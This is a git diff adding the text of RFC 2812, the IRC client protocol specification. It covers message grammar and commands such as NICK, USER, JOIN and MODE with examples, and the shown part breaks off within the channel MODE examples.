+Acknowledgement
+
+   Funding for the RFC Editor function is currently provided by the
+   Internet Society.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 19]
+
diff --git a/rfc/rfc2812.txt b/rfc/rfc2812.txt
new file mode 100644
index 0000000..7f1b162
--- /dev/null
+++ b/rfc/rfc2812.txt
@@ -0,0 +1,3531 @@
+
+
+
+
+
+
+Network Working Group                                            C. Kalt
+Request for Comments: 2812                                    April 2000
+Updates: 1459
+Category: Informational
+
+
+                  Internet Relay Chat: Client Protocol
+
+Status of this Memo
+
+   This memo provides information for the Internet community.  It does
+   not specify an Internet standard of any kind.  Distribution of this
+   memo is unlimited.
+
+Copyright Notice
+
+   Copyright (C) The Internet Society (2000).  All Rights Reserved.
+
+IESG NOTE:
+
+   The IRC protocol itself enables several possibilities of transferring
+   data between clients, and just like with other transfer mechanisms
+   like email, the receiver of the data has to be careful about how the
+   data is handled. For more information on security issues with the IRC
+   protocol, see for example http://www.irchelp.org/irchelp/security/.
+
+Abstract
+
+   The IRC (Internet Relay Chat) protocol is for use with text based
+   conferencing; the simplest client being any socket program capable of
+   connecting to the server.
+
+   This document defines the Client Protocol, and assumes that the
+   reader is familiar with the IRC Architecture [IRC-ARCH].
+
+Table of Contents
+
+   1.  Labels .....................................................   3
+      1.1  Servers ................................................   3
+      1.2  Clients ................................................   3
+         1.2.1  Users .............................................   4
+            1.2.1.1  Operators ....................................   4
+         1.2.2  Services ..........................................   4
+      1.3  Channels ...............................................   4
+   2.  The IRC Client Specification ...............................   5
+      2.1  Overview ...............................................   5
+      2.2  Character codes ........................................   5
+      2.3  Messages ...............................................   5
+
+
+
+Kalt                         Informational                      [Page 1]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+         2.3.1  Message format in Augmented BNF ...................   6
+      2.4  Numeric replies ........................................   8
+      2.5  Wildcard expressions ...................................   9
+   3.  Message Details ............................................   9
+      3.1  Connection Registration ................................  10
+         3.1.1  Password message ..................................  10
+         3.1.2  Nick message ......................................  10
+         3.1.3  User message ......................................  11
+         3.1.4  Oper message ......................................  12
+         3.1.5  User mode message .................................  12
+         3.1.6  Service message ...................................  13
+         3.1.7  Quit ..............................................  14
+         3.1.8  Squit .............................................  15
+      3.2  Channel operations .....................................  15
+         3.2.1  Join message ......................................  16
+         3.2.2  Part message ......................................  17
+         3.2.3  Channel mode message ..............................  18
+         3.2.4  Topic message .....................................  19
+         3.2.5  Names message .....................................  20
+         3.2.6  List message ......................................  21
+         3.2.7  Invite message ....................................  21
+         3.2.8  Kick command ......................................  22
+      3.3  Sending messages .......................................  23
+         3.3.1  Private messages ..................................  23
+         3.3.2  Notice ............................................  24
+      3.4  Server queries and commands ............................  25
+         3.4.1  Motd message ......................................  25
+         3.4.2  Lusers message ....................................  25
+         3.4.3  Version message ...................................  26
+         3.4.4  Stats message .....................................  26
+         3.4.5  Links message .....................................  27
+         3.4.6  Time message ......................................  28
+         3.4.7  Connect message ...................................  28
+         3.4.8  Trace message .....................................  29
+         3.4.9  Admin command .....................................  30
+         3.4.10 Info command ......................................  31
+      3.5  Service Query and Commands .............................  31
+         3.5.1  Servlist message ..................................  31
+         3.5.2  Squery ............................................  32
+      3.6  User based queries .....................................  32
+         3.6.1  Who query .........................................  32
+         3.6.2  Whois query .......................................  33
+         3.6.3  Whowas ............................................  34
+      3.7  Miscellaneous messages .................................  34
+         3.7.1  Kill message ......................................  35
+         3.7.2  Ping message ......................................  36
+         3.7.3  Pong message ......................................  37
+         3.7.4  Error .............................................  37
+
+
+
+Kalt                         Informational                      [Page 2]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   4.  Optional features ..........................................  38
+      4.1  Away ...................................................  38
+      4.2  Rehash message .........................................  39
+      4.3  Die message ............................................  39
+      4.4  Restart message ........................................  40
+      4.5  Summon message .........................................  40
+      4.6  Users ..................................................  41
+      4.7  Operwall message .......................................  41
+      4.8  Userhost message .......................................  42
+      4.9  Ison message ...........................................  42
+   5.  Replies ....................................................  43
+      5.1  Command responses ......................................  43
+      5.2  Error Replies ..........................................  53
+      5.3  Reserved numerics ......................................  59
+   6.  Current implementations ....................................  60
+   7.  Current problems ...........................................  60
+      7.1  Nicknames ..............................................  60
+      7.2  Limitation of wildcards ................................  61
+      7.3  Security considerations ................................  61
+   8.  Current support and availability ...........................  61
+   9.  Acknowledgements ...........................................  61
+   10.  References ................................................  62
+   11.  Author's Address ..........................................  62
+   12.  Full Copyright Statement ..................................  63
+
+1. Labels
+
+   This section defines the identifiers used for the various components
+   of the IRC protocol.
+
+1.1 Servers
+
+   Servers are uniquely identified by their name, which has a maximum
+   length of sixty three (63) characters.  See the protocol grammar
+   rules (section 2.3.1) for what may and may not be used in a server
+   name.
+
+1.2 Clients
+
+   For each client all servers MUST have the following information: a
+   netwide unique identifier (whose format depends on the type of
+   client) and the server which introduced the client.
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                      [Page 3]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+1.2.1 Users
+
+   Each user is distinguished from other users by a unique nickname
+   having a maximum length of nine (9) characters.  See the protocol
+   grammar rules (section 2.3.1) for what may and may not be used in a
+   nickname.
+
+   While the maximum length is limited to nine characters, clients
+   SHOULD accept longer strings as they may become used in future
+   evolutions of the protocol.
+
+1.2.1.1 Operators
+
+   To allow a reasonable amount of order to be kept within the IRC
+   network, a special class of users (operators) is allowed to perform
+   general maintenance functions on the network.  Although the powers
+   granted to an operator can be considered as 'dangerous', they are
+   nonetheless often necessary.  Operators SHOULD be able to perform
+   basic network tasks such as disconnecting and reconnecting servers as
+   needed.  In recognition of this need, the protocol discussed herein
+   provides for operators only to be able to perform such functions.
+   See sections 3.1.8 (SQUIT) and 3.4.7 (CONNECT).
+
+   A more controversial power of operators is the ability to remove a
+   user from the connected network by 'force', i.e., operators are able
+   to close the connection between any client and server.  The
+   justification for this is very delicate since its abuse is both
+   destructive and annoying, and its benefits close to inexistent.  For
+   further details on this type of action, see section 3.7.1 (KILL).
+
+1.2.2 Services
+
+   Each service is distinguished from other services by a service name
+   composed of a nickname and a server name.  As for users, the nickname
+   has a maximum length of nine (9) characters.  See the protocol
+   grammar rules (section 2.3.1) for what may and may not be used in a
+   nickname.
+
+1.3 Channels
+
+   Channels names are strings (beginning with a '&', '#', '+' or '!'
+   character) of length up to fifty (50) characters.  Apart from the
+   requirement that the first character is either '&', '#', '+' or '!',
+   the only restriction on a channel name is that it SHALL NOT contain
+   any spaces (' '), a control G (^G or ASCII 7), a comma (',').  Space
+   is used as parameter separator and command is used as a list item
+   separator by the protocol).  A colon (':') can also be used as a
+   delimiter for the channel mask.  Channel names are case insensitive.
+
+
+
+Kalt                         Informational                      [Page 4]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   See the protocol grammar rules (section 2.3.1) for the exact syntax
+   of a channel name.
+
+   Each prefix characterizes a different channel type.  The definition
+   of the channel types is not relevant to the client-server protocol
+   and thus it is beyond the scope of this document.  More details can
+   be found in "Internet Relay Chat: Channel Management" [IRC-CHAN].
+
+2. The IRC Client Specification
+
+2.1 Overview
+
+   The protocol as described herein is for use only with client to
+   server connections when the client registers as a user.
+
+2.2 Character codes
+
+   No specific character set is specified. The protocol is based on a
+   set of codes which are composed of eight (8) bits, making up an
+   octet.  Each message may be composed of any number of these octets;
+   however, some octet values are used for control codes, which act as
+   message delimiters.
+
+   Regardless of being an 8-bit protocol, the delimiters and keywords
+   are such that protocol is mostly usable from US-ASCII terminal and a
+   telnet connection.
+
+   Because of IRC's Scandinavian origin, the characters {}|^ are
+   considered to be the lower case equivalents of the characters []\~,
+   respectively. This is a critical issue when determining the
+   equivalence of two nicknames or channel names.
+
+2.3 Messages
+
+   Servers and clients send each other messages, which may or may not
+   generate a reply.  If the message contains a valid command, as
+   described in later sections, the client should expect a reply as
+   specified but it is not advised to wait forever for the reply; client
+   to server and server to server communication is essentially
+   asynchronous by nature.
+
+   Each IRC message may consist of up to three main parts: the prefix
+   (OPTIONAL), the command, and the command parameters (maximum of
+   fifteen (15)).  The prefix, command, and all parameters are separated
+   by one ASCII space character (0x20) each.
+
+
+
+
+
+
+Kalt                         Informational                      [Page 5]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   The presence of a prefix is indicated with a single leading ASCII
+   colon character (':', 0x3b), which MUST be the first character of the
+   message itself.  There MUST be NO gap (whitespace) between the colon
+   and the prefix.  The prefix is used by servers to indicate the true
+   origin of the message.  If the prefix is missing from the message, it
+   is assumed to have originated from the connection from which it was
+   received from.  Clients SHOULD NOT use a prefix when sending a
+   message; if they use one, the only valid prefix is the registered
+   nickname associated with the client.
+
+   The command MUST either be a valid IRC command or a three (3) digit
+   number represented in ASCII text.
+
+   IRC messages are always lines of characters terminated with a CR-LF
+   (Carriage Return - Line Feed) pair, and these messages SHALL NOT
+   exceed 512 characters in length, counting all characters including
+   the trailing CR-LF. Thus, there are 510 characters maximum allowed
+   for the command and its parameters.  There is no provision for
+   continuation of message lines.  See section 6 for more details about
+   current implementations.
+
+2.3.1 Message format in Augmented BNF
+
+   The protocol messages must be extracted from the contiguous stream of
+   octets.  The current solution is to designate two characters, CR and
+   LF, as message separators.  Empty messages are silently ignored,
+   which permits use of the sequence CR-LF between messages without
+   extra problems.
+
+   The extracted message is parsed into the components <prefix>,
+   <command> and list of parameters (<params>).
+
+    The Augmented BNF representation for this is:
+
+    message    =  [ ":" prefix SPACE ] command [ params ] crlf
+    prefix     =  servername / ( nickname [ [ "!" user ] "@" host ] )
+    command    =  1*letter / 3digit
+    params     =  *14( SPACE middle ) [ SPACE ":" trailing ]
+               =/ 14( SPACE middle ) [ SPACE [ ":" ] trailing ]
+
+    nospcrlfcl =  %x01-09 / %x0B-0C / %x0E-1F / %x21-39 / %x3B-FF
+                    ; any octet except NUL, CR, LF, " " and ":"
+    middle     =  nospcrlfcl *( ":" / nospcrlfcl )
+    trailing   =  *( ":" / " " / nospcrlfcl )
+
+    SPACE      =  %x20        ; space character
+    crlf       =  %x0D %x0A   ; "carriage return" "linefeed"
+
+
+
+
+Kalt                         Informational                      [Page 6]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   NOTES:
+      1) After extracting the parameter list, all parameters are equal
+         whether matched by <middle> or <trailing>. <trailing> is just a
+         syntactic trick to allow SPACE within the parameter.
+
+      2) The NUL (%x00) character is not special in message framing, and
+         basically could end up inside a parameter, but it would cause
+         extra complexities in normal C string handling. Therefore, NUL
+         is not allowed within messages.
+
+   Most protocol messages specify additional semantics and syntax for
+   the extracted parameter strings dictated by their position in the
+   list.  For example, many server commands will assume that the first
+   parameter after the command is the list of targets, which can be
+   described with:
+
+  target     =  nickname / server
+  msgtarget  =  msgto *( "," msgto )
+  msgto      =  channel / ( user [ "%" host ] "@" servername )
+  msgto      =/ ( user "%" host ) / targetmask
+  msgto      =/ nickname / ( nickname "!" user "@" host )
+  channel    =  ( "#" / "+" / ( "!" channelid ) / "&" ) chanstring
+                [ ":" chanstring ]
+  servername =  hostname
+  host       =  hostname / hostaddr
+  hostname   =  shortname *( "." shortname )
+  shortname  =  ( letter / digit ) *( letter / digit / "-" )
+                *( letter / digit )
+                  ; as specified in RFC 1123 [HNAME]
+  hostaddr   =  ip4addr / ip6addr
+  ip4addr    =  1*3digit "." 1*3digit "." 1*3digit "." 1*3digit
+  ip6addr    =  1*hexdigit 7( ":" 1*hexdigit )
+  ip6addr    =/ "0:0:0:0:0:" ( "0" / "FFFF" ) ":" ip4addr
+  nickname   =  ( letter / special ) *8( letter / digit / special / "-" )
+  targetmask =  ( "$" / "#" ) mask
+                  ; see details on allowed masks in section 3.3.1
+  chanstring =  %x01-07 / %x08-09 / %x0B-0C / %x0E-1F / %x21-2B
+  chanstring =/ %x2D-39 / %x3B-FF
+                  ; any octet except NUL, BELL, CR, LF, " ", "," and ":"
+  channelid  = 5( %x41-5A / digit )   ; 5( A-Z / 0-9 )
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                      [Page 7]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+  Other parameter syntaxes are:
+
+  user       =  1*( %x01-09 / %x0B-0C / %x0E-1F / %x21-3F / %x41-FF )
+                  ; any octet except NUL, CR, LF, " " and "@"
+  key        =  1*23( %x01-05 / %x07-08 / %x0C / %x0E-1F / %x21-7F )
+                  ; any 7-bit US_ASCII character,
+                  ; except NUL, CR, LF, FF, h/v TABs, and " "
+  letter     =  %x41-5A / %x61-7A       ; A-Z / a-z
+  digit      =  %x30-39                 ; 0-9
+  hexdigit   =  digit / "A" / "B" / "C" / "D" / "E" / "F"
+  special    =  %x5B-60 / %x7B-7D
+                   ; "[", "]", "\", "`", "_", "^", "{", "|", "}"
+
+  NOTES:
+      1) The <hostaddr> syntax is given here for the sole purpose of
+         indicating the format to follow for IP addresses.  This
+         reflects the fact that the only available implementations of
+         this protocol uses TCP/IP as underlying network protocol but is
+         not meant to prevent other protocols to be used.
+
+      2) <hostname> has a maximum length of 63 characters.  This is a
+         limitation of the protocol as internet hostnames (in
+         particular) can be longer.  Such restriction is necessary
+         because IRC messages are limited to 512 characters in length.
+         Clients connecting from a host which name is longer than 63
+         characters are registered using the host (numeric) address
+         instead of the host name.
+
+      3) Some parameters used in the following sections of this
+         documents are not defined here as there is nothing specific
+         about them besides the name that is used for convenience.
+         These parameters follow the general syntax defined for
+         <params>.
+
+2.4 Numeric replies
+
+   Most of the messages sent to the server generate a reply of some
+   sort.  The most common reply is the numeric reply, used for both
+   errors and normal replies.  The numeric reply MUST be sent as one
+   message consisting of the sender prefix, the three-digit numeric, and
+   the target of the reply.  A numeric reply is not allowed to originate
+   from a client. In all other respects, a numeric reply is just like a
+   normal message, except that the keyword is made up of 3 numeric
+   digits rather than a string of letters.  A list of different replies
+   is supplied in section 5 (Replies).
+
+
+
+
+
+
+Kalt                         Informational                      [Page 8]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+2.5 Wildcard expressions
+
+   When wildcards are allowed in a string, it is referred as a "mask".
+
+   For string matching purposes, the protocol allows the use of two
+   special characters: '?' (%x3F) to match one and only one character,
+   and '*' (%x2A) to match any number of any characters.  These two
+   characters can be escaped using the character '\' (%x5C).
+
+   The Augmented BNF syntax for this is:
+
+    mask       =  *( nowild / noesc wildone / noesc wildmany )
+    wildone    =  %x3F
+    wildmany   =  %x2A
+    nowild     =  %x01-29 / %x2B-3E / %x40-FF
+                    ; any octet except NUL, "*", "?"
+    noesc      =  %x01-5B / %x5D-FF
+                    ; any octet except NUL and "\"
+    matchone   =  %x01-FF
+                    ; matches wildone
+    matchmany  =  *matchone
+                    ; matches wildmany
+
+   Examples:
+
+   a?c         ; Matches any string of 3 characters in length starting
+               with "a" and ending with "c"
+
+   a*c         ; Matches any string of at least 2 characters in length
+               starting with "a" and ending with "c"
+
+3. Message Details
+
+   On the following pages there are descriptions of each message
+   recognized by the IRC server and client.  All commands described in
+   this section MUST be implemented by any server for this protocol.
+
+   Where the reply ERR_NOSUCHSERVER is returned, it means that the
+   target of the message could not be found.  The server MUST NOT send
+   any other replies after this error for that command.
+
+   The server to which a client is connected is required to parse the
+   complete message, and return any appropriate errors.
+
+   If multiple parameters is presented, then each MUST be checked for
+   validity and appropriate responses MUST be sent back to the client.
+   In the case of incorrect messages which use parameter lists with
+   comma as an item separator, a reply MUST be sent for each item.
+
+
+
+Kalt                         Informational                      [Page 9]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+3.1 Connection Registration
+
+   The commands described here are used to register a connection with an
+   IRC server as a user as well as to correctly disconnect.
+
+   A "PASS" command is not required for a client connection to be
+   registered, but it MUST precede the latter of the NICK/USER
+   combination (for a user connection) or the SERVICE command (for a
+   service connection). The RECOMMENDED order for a client to register
+   is as follows:
+
+                           1. Pass message
+           2. Nick message                 2. Service message
+           3. User message
+
+   Upon success, the client will receive an RPL_WELCOME (for users) or
+   RPL_YOURESERVICE (for services) message indicating that the
+   connection is now registered and known the to the entire IRC network.
+   The reply message MUST contain the full client identifier upon which
+   it was registered.
+
+3.1.1 Password message
+
+      Command: PASS
+   Parameters: <password>
+
+   The PASS command is used to set a 'connection password'.  The
+   optional password can and MUST be set before any attempt to register
+   the connection is made.  Currently this requires that user send a
+   PASS command before sending the NICK/USER combination.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_ALREADYREGISTRED
+
+   Example:
+
+           PASS secretpasswordhere
+
+3.1.2 Nick message
+
+
+      Command: NICK
+   Parameters: <nickname>
+
+   NICK command is used to give user a nickname or change the existing
+   one.
+
+
+
+
+Kalt                         Informational                     [Page 10]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Numeric Replies:
+
+           ERR_NONICKNAMEGIVEN             ERR_ERRONEUSNICKNAME
+           ERR_NICKNAMEINUSE               ERR_NICKCOLLISION
+           ERR_UNAVAILRESOURCE             ERR_RESTRICTED
+
+   Examples:
+
+   NICK Wiz                ; Introducing new nick "Wiz" if session is
+                           still unregistered, or user changing his
+                           nickname to "Wiz"
+
+   :WiZ!jto@tolsun.oulu.fi NICK Kilroy
+                           ; Server telling that WiZ changed his
+                           nickname to Kilroy.
+
+3.1.3 User message
+
+      Command: USER
+   Parameters: <user> <mode> <unused> <realname>
+
+   The USER command is used at the beginning of connection to specify
+   the username, hostname and realname of a new user.
+
+   The <mode> parameter should be a numeric, and can be used to
+   automatically set user modes when registering with the server.  This
+   parameter is a bitmask, with only 2 bits having any signification: if
+   the bit 2 is set, the user mode 'w' will be set and if the bit 3 is
+   set, the user mode 'i' will be set.  (See Section 3.1.5 "User
+   Modes").
+
+   The <realname> may contain space characters.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_ALREADYREGISTRED
+
+   Example:
+
+   USER guest 0 * :Ronnie Reagan   ; User registering themselves with a
+                                   username of "guest" and real name
+                                   "Ronnie Reagan".
+
+   USER guest 8 * :Ronnie Reagan   ; User registering themselves with a
+                                   username of "guest" and real name
+                                   "Ronnie Reagan", and asking to be set
+                                   invisible.
+
+
+
+
+Kalt                         Informational                     [Page 11]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+3.1.4 Oper message
+
+      Command: OPER
+   Parameters: <name> <password>
+
+   A normal user uses the OPER command to obtain operator privileges.
+   The combination of <name> and <password> are REQUIRED to gain
+   Operator privileges.  Upon success, the user will receive a MODE
+   message (see section 3.1.5) indicating the new user modes.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              RPL_YOUREOPER
+           ERR_NOOPERHOST                  ERR_PASSWDMISMATCH
+
+   Example:
+
+   OPER foo bar                    ; Attempt to register as an operator
+                                   using a username of "foo" and "bar"
+                                   as the password.
+
+3.1.5 User mode message
+
+      Command: MODE
+   Parameters: <nickname>
+               *( ( "+" / "-" ) *( "i" / "w" / "o" / "O" / "r" ) )
+
+   The user MODE's are typically changes which affect either how the
+   client is seen by others or what 'extra' messages the client is sent.
+
+   A user MODE command MUST only be accepted if both the sender of the
+   message and the nickname given as a parameter are both the same.  If
+   no other parameter is given, then the server will return the current
+   settings for the nick.
+
+      The available modes are as follows:
+
+           a - user is flagged as away;
+           i - marks a users as invisible;
+           w - user receives wallops;
+           r - restricted user connection;
+           o - operator flag;
+           O - local operator flag;
+           s - marks a user for receipt of server notices.
+
+   Additional modes may be available later on.
+
+
+
+
+
+Kalt                         Informational                     [Page 12]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   The flag 'a' SHALL NOT be toggled by the user using the MODE command,
+   instead use of the AWAY command is REQUIRED.
+
+   If a user attempts to make themselves an operator using the "+o" or
+   "+O" flag, the attempt SHOULD be ignored as users could bypass the
+   authentication mechanisms of the OPER command.  There is no
+   restriction, however, on anyone `deopping' themselves (using "-o" or
+   "-O").
+
+   On the other hand, if a user attempts to make themselves unrestricted
+   using the "-r" flag, the attempt SHOULD be ignored.  There is no
+   restriction, however, on anyone `deopping' themselves (using "+r").
+   This flag is typically set by the server upon connection for
+   administrative reasons.  While the restrictions imposed are left up
+   to the implementation, it is typical that a restricted user not be
+   allowed to change nicknames, nor make use of the channel operator
+   status on channels.
+
+   The flag 's' is obsolete but MAY still be used.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_USERSDONTMATCH
+           ERR_UMODEUNKNOWNFLAG            RPL_UMODEIS
+
+   Examples:
+
+   MODE WiZ -w                     ; Command by WiZ to turn off
+                                   reception of WALLOPS messages.
+
+   MODE Angel +i                   ; Command from Angel to make herself
+                                   invisible.
+
+   MODE WiZ -o                     ; WiZ 'deopping' (removing operator
+                                   status).
+
+3.1.6 Service message
+
+      Command: SERVICE
+   Parameters: <nickname> <reserved> <distribution> <type>
+               <reserved> <info>
+
+   The SERVICE command to register a new service.  Command parameters
+   specify the service nickname, distribution, type and info of a new
+   service.
+
+
+
+
+
+
+Kalt                         Informational                     [Page 13]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   The <distribution> parameter is used to specify the visibility of a
+   service.  The service may only be known to servers which have a name
+   matching the distribution.  For a matching server to have knowledge
+   of the service, the network path between that server and the server
+   on which the service is connected MUST be composed of servers which
+   names all match the mask.
+
+   The <type> parameter is currently reserved for future usage.
+
+   Numeric Replies:
+
+           ERR_ALREADYREGISTRED            ERR_NEEDMOREPARAMS
+           ERR_ERRONEUSNICKNAME
+           RPL_YOURESERVICE                RPL_YOURHOST
+           RPL_MYINFO
+
+   Example:
+
+   SERVICE dict * *.fr 0 0 :French Dictionary ; Service registering
+                                   itself with a name of "dict".  This
+                                   service will only be available on
+                                   servers which name matches "*.fr".
+
+3.1.7 Quit
+
+      Command: QUIT
+   Parameters: [ <Quit Message> ]
+
+   A client session is terminated with a quit message.  The server
+   acknowledges this by sending an ERROR message to the client.
+
+   Numeric Replies:
+
+           None.
+
+   Example:
+
+   QUIT :Gone to have lunch        ; Preferred message format.
+
+   :syrk!kalt@millennium.stealth.net QUIT :Gone to have lunch ; User
+                                   syrk has quit IRC to have lunch.
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 14]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+3.1.8 Squit
+
+      Command: SQUIT
+   Parameters: <server> <comment>
+
+   The SQUIT command is available only to operators.  It is used to
+   disconnect server links.  Also servers can generate SQUIT messages on
+   error conditions.  A SQUIT message may also target a remote server
+   connection.  In this case, the SQUIT message will simply be sent to
+   the remote server without affecting the servers in between the
+   operator and the remote server.
+
+   The <comment> SHOULD be supplied by all operators who execute a SQUIT
+   for a remote server.  The server ordered to disconnect its peer
+   generates a WALLOPS message with <comment> included, so that other
+   users may be aware of the reason of this action.
+
+   Numeric replies:
+
+           ERR_NOPRIVILEGES                ERR_NOSUCHSERVER
+           ERR_NEEDMOREPARAMS
+
+   Examples:
+
+   SQUIT tolsun.oulu.fi :Bad Link ?  ; Command to uplink of the server
+                                   tolson.oulu.fi to terminate its
+                                   connection with comment "Bad Link".
+
+   :Trillian SQUIT cm22.eng.umd.edu :Server out of control ; Command
+                                   from Trillian from to disconnect
+                                   "cm22.eng.umd.edu" from the net with
+                                   comment "Server out of control".
+
+3.2 Channel operations
+
+   This group of messages is concerned with manipulating channels, their
+   properties (channel modes), and their contents (typically users).
+   For this reason, these messages SHALL NOT be made available to
+   services.
+
+   All of these messages are requests which will or will not be granted
+   by the server.  The server MUST send a reply informing the user
+   whether the request was granted, denied or generated an error.  When
+   the server grants the request, the message is typically sent back
+   (eventually reformatted) to the user with the prefix set to the user
+   itself.
+
+
+
+
+
+Kalt                         Informational                     [Page 15]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   The rules governing how channels are managed are enforced by the
+   servers.  These rules are beyond the scope of this document.  More
+   details are found in "Internet Relay Chat: Channel Management" [IRC-
+   CHAN].
+
+3.2.1 Join message
+
+      Command: JOIN
+   Parameters: ( <channel> *( "," <channel> ) [ <key> *( "," <key> ) ] )
+               / "0"
+
+   The JOIN command is used by a user to request to start listening to
+   the specific channel.  Servers MUST be able to parse arguments in the
+   form of a list of target, but SHOULD NOT use lists when sending JOIN
+   messages to clients.
+
+   Once a user has joined a channel, he receives information about
+   all commands his server receives affecting the channel.  This
+   includes JOIN, MODE, KICK, PART, QUIT and of course PRIVMSG/NOTICE.
+   This allows channel members to keep track of the other channel
+   members, as well as channel modes.
+
+   If a JOIN is successful, the user receives a JOIN message as
+   confirmation and is then sent the channel's topic (using RPL_TOPIC) and
+   the list of users who are on the channel (using RPL_NAMREPLY), which
+   MUST include the user joining.
+
+   Note that this message accepts a special argument ("0"), which is
+   a special request to leave all channels the user is currently a member
+   of.  The server will process this message as if the user had sent
+   a PART command (See Section 3.2.2) for each channel he is a member
+   of.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_BANNEDFROMCHAN
+           ERR_INVITEONLYCHAN              ERR_BADCHANNELKEY
+           ERR_CHANNELISFULL               ERR_BADCHANMASK
+           ERR_NOSUCHCHANNEL               ERR_TOOMANYCHANNELS
+           ERR_TOOMANYTARGETS              ERR_UNAVAILRESOURCE
+           RPL_TOPIC
+
+   Examples:
+
+   JOIN #foobar                    ; Command to join channel #foobar.
+
+   JOIN &foo fubar                 ; Command to join channel &foo using
+                                   key "fubar".
+
+
+
+Kalt                         Informational                     [Page 16]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   JOIN #foo,&bar fubar            ; Command to join channel #foo using
+                                   key "fubar" and &bar using no key.
+
+   JOIN #foo,#bar fubar,foobar     ; Command to join channel #foo using
+                                   key "fubar", and channel #bar using
+                                   key "foobar".
+
+   JOIN #foo,#bar                  ; Command to join channels #foo and
+                                   #bar.
+
+   JOIN 0                          ; Leave all currently joined
+                                   channels.
+
+   :WiZ!jto@tolsun.oulu.fi JOIN #Twilight_zone ; JOIN message from WiZ
+                                   on channel #Twilight_zone
+
+3.2.2 Part message
+
+      Command: PART
+   Parameters: <channel> *( "," <channel> ) [ <Part Message> ]
+
+   The PART command causes the user sending the message to be removed
+   from the list of active members for all given channels listed in the
+   parameter string.  If a "Part Message" is given, this will be sent
+   instead of the default message, the nickname.  This request is always
+   granted by the server.
+
+   Servers MUST be able to parse arguments in the form of a list of
+   target, but SHOULD NOT use lists when sending PART messages to
+   clients.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_NOSUCHCHANNEL
+           ERR_NOTONCHANNEL
+
+   Examples:
+
+   PART #twilight_zone             ; Command to leave channel
+                                   "#twilight_zone"
+
+   PART #oz-ops,&group5            ; Command to leave both channels
+                                   "&group5" and "#oz-ops".
+
+   :WiZ!jto@tolsun.oulu.fi PART #playzone :I lost
+                                   ; User WiZ leaving channel
+                                   "#playzone" with the message "I
+                                   lost".
+
+
+
+Kalt                         Informational                     [Page 17]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+3.2.3 Channel mode message
+
+      Command: MODE
+   Parameters: <channel> *( ( "-" / "+" ) *<modes> *<modeparams> )
+
+   The MODE command is provided so that users may query and change the
+   characteristics of a channel.  For more details on available modes
+   and their uses, see "Internet Relay Chat: Channel Management" [IRC-
+   CHAN].  Note that there is a maximum limit of three (3) changes per
+   command for modes that take a parameter.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_KEYSET
+           ERR_NOCHANMODES                 ERR_CHANOPRIVSNEEDED
+           ERR_USERNOTINCHANNEL            ERR_UNKNOWNMODE
+           RPL_CHANNELMODEIS
+           RPL_BANLIST                     RPL_ENDOFBANLIST
+           RPL_EXCEPTLIST                  RPL_ENDOFEXCEPTLIST
+           RPL_INVITELIST                  RPL_ENDOFINVITELIST
+           RPL_UNIQOPIS
+
+   The following examples are given to help understanding the syntax of
+   the MODE command, but refer to modes defined in "Internet Relay Chat:
+   Channel Management" [IRC-CHAN].
+
+   Examples:
+
+   MODE #Finnish +imI *!*@*.fi     ; Command to make #Finnish channel
+                                   moderated and 'invite-only' with user
+                                   with a hostname matching *.fi
+                                   automatically invited.
+
+   MODE #Finnish +o Kilroy         ; Command to give 'chanop' privileges
+                                   to Kilroy on channel #Finnish.
+
+   MODE #Finnish +v Wiz            ; Command to allow WiZ to speak on
+                                   #Finnish.
+
+   MODE #Fins -s                   ; Command to remove 'secret' flag
+                                   from channel #Fins.
+
+   MODE #42 +k oulu                ; Command to set the channel key to
+                                   "oulu".
+
+   MODE #42 -k oulu                ; Command to remove the "oulu"
+                                   channel key on channel "#42".
+
+
+
+
+Kalt                         Informational                     [Page 18]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   MODE #eu-opers +l 10            ; Command to set the limit for the
+                                   number of users on channel
+                                   "#eu-opers" to 10.
+
+   :WiZ!jto@tolsun.oulu.fi MODE #eu-opers -l
+                                   ; User "WiZ" removing the limit for
+                                   the number of users on channel "#eu-
+                                   opers".
+
+   MODE &oulu +b                   ; Command to list ban masks set for
+                                   the channel "&oulu".
+
+   MODE &oulu +b *!*@*             ; Command to prevent all users from
+                                   joining.
+
+   MODE &oulu +b *!*@*.edu +e *!*@*.bu.edu
+                                   ; Command to prevent any user from a
+                                   hostname matching *.edu from joining,
+                                   except if matching *.bu.edu
+
+   MODE #bu +be *!*@*.edu *!*@*.bu.edu
+                                   ; Comment to prevent any user from a
+                                   hostname matching *.edu from joining,
+                                   except if matching *.bu.edu
+
+   MODE #meditation e              ; Command to list exception masks set
+                                   for the channel "#meditation".
+
+   MODE #meditation I              ; Command to list invitations masks
